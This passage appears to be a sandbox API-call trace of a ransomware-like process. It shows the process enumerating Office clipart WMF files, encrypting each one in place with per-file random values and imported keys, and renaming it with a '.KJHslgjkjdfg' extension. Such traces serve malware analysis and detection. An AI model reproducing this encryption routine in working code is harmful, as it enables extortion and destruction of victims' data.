hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.993] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x17b0, lpOverlapped=0x0) returned 1 [0181.993] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.993] SetEndOfFile (hFile=0x130) returned 1 [0181.996] GetProcessHeap () returned 0x990000 [0181.996] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.996] GetProcessHeap () returned 0x990000 [0181.996] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.kjhslgjkjdfg")) returned 1 [0182.000] CloseHandle (hObject=0x130) returned 1 [0182.000] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0182.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.001] GetProcessHeap () returned 0x990000 [0182.001] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.001] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.001] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.021] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.021] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.021] GetProcessHeap () returned 0x990000 [0182.021] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.021] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.021] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.021] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.021] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.021] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.021] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.022] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.022] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.022] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.022] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd58, lpOverlapped=0x0) returned 1 [0182.022] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd60, dwBufLen=0xd60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd60) returned 1 [0182.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.022] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd60, lpOverlapped=0x0) returned 1 [0182.022] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.022] SetEndOfFile (hFile=0x130) returned 1 [0182.025] GetProcessHeap () returned 0x990000 [0182.025] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.025] GetProcessHeap () returned 0x990000 [0182.025] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.kjhslgjkjdfg")) returned 1 [0182.027] CloseHandle (hObject=0x130) returned 1 [0182.027] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0182.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.029] GetProcessHeap () returned 0x990000 [0182.029] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.029] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.029] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.032] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.032] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.032] GetProcessHeap () returned 0x990000 [0182.032] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.032] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.032] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.032] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.032] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.032] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.032] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.033] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.033] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.033] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.033] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa4c, lpOverlapped=0x0) returned 1 [0182.033] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa50, dwBufLen=0xa50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa50) returned 1 [0182.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.033] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa50, lpOverlapped=0x0) returned 1 [0182.033] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.033] SetEndOfFile (hFile=0x130) returned 1 [0182.035] GetProcessHeap () returned 0x990000 [0182.035] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.035] GetProcessHeap () returned 0x990000 [0182.035] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.kjhslgjkjdfg")) returned 1 [0182.040] CloseHandle (hObject=0x130) returned 1 [0182.040] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0182.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.041] GetProcessHeap () returned 0x990000 [0182.041] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.041] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.041] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.043] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.043] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.043] GetProcessHeap () returned 0x990000 [0182.043] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.043] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.043] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.043] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.043] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.044] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.044] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.044] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.044] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.044] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.044] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x19ec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x19ec, lpOverlapped=0x0) returned 1 [0182.045] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19f0, dwBufLen=0x19f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19f0) returned 1 [0182.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.045] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x19f0, lpOverlapped=0x0) returned 1 [0182.045] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.046] SetEndOfFile (hFile=0x130) returned 1 [0182.048] GetProcessHeap () returned 0x990000 [0182.048] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.048] GetProcessHeap () returned 0x990000 [0182.048] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.kjhslgjkjdfg")) returned 1 [0182.049] CloseHandle (hObject=0x130) returned 1 [0182.050] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0182.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.050] GetProcessHeap () returned 0x990000 [0182.050] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.050] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.050] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0182.053] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.053] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.053] GetProcessHeap () returned 0x990000 [0182.053] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.053] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.053] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.053] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.053] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.053] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.054] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.054] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.054] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.054] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.054] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1204, lpOverlapped=0x0) returned 1 [0182.056] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1210, dwBufLen=0x1210 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1210) returned 1 [0182.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.056] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1210, lpOverlapped=0x0) returned 1 [0182.056] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.056] SetEndOfFile (hFile=0x130) returned 1 [0182.056] GetProcessHeap () returned 0x990000 [0182.056] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.057] GetProcessHeap () returned 0x990000 [0182.057] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.kjhslgjkjdfg")) returned 1 [0182.060] CloseHandle (hObject=0x130) returned 1 [0182.060] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, 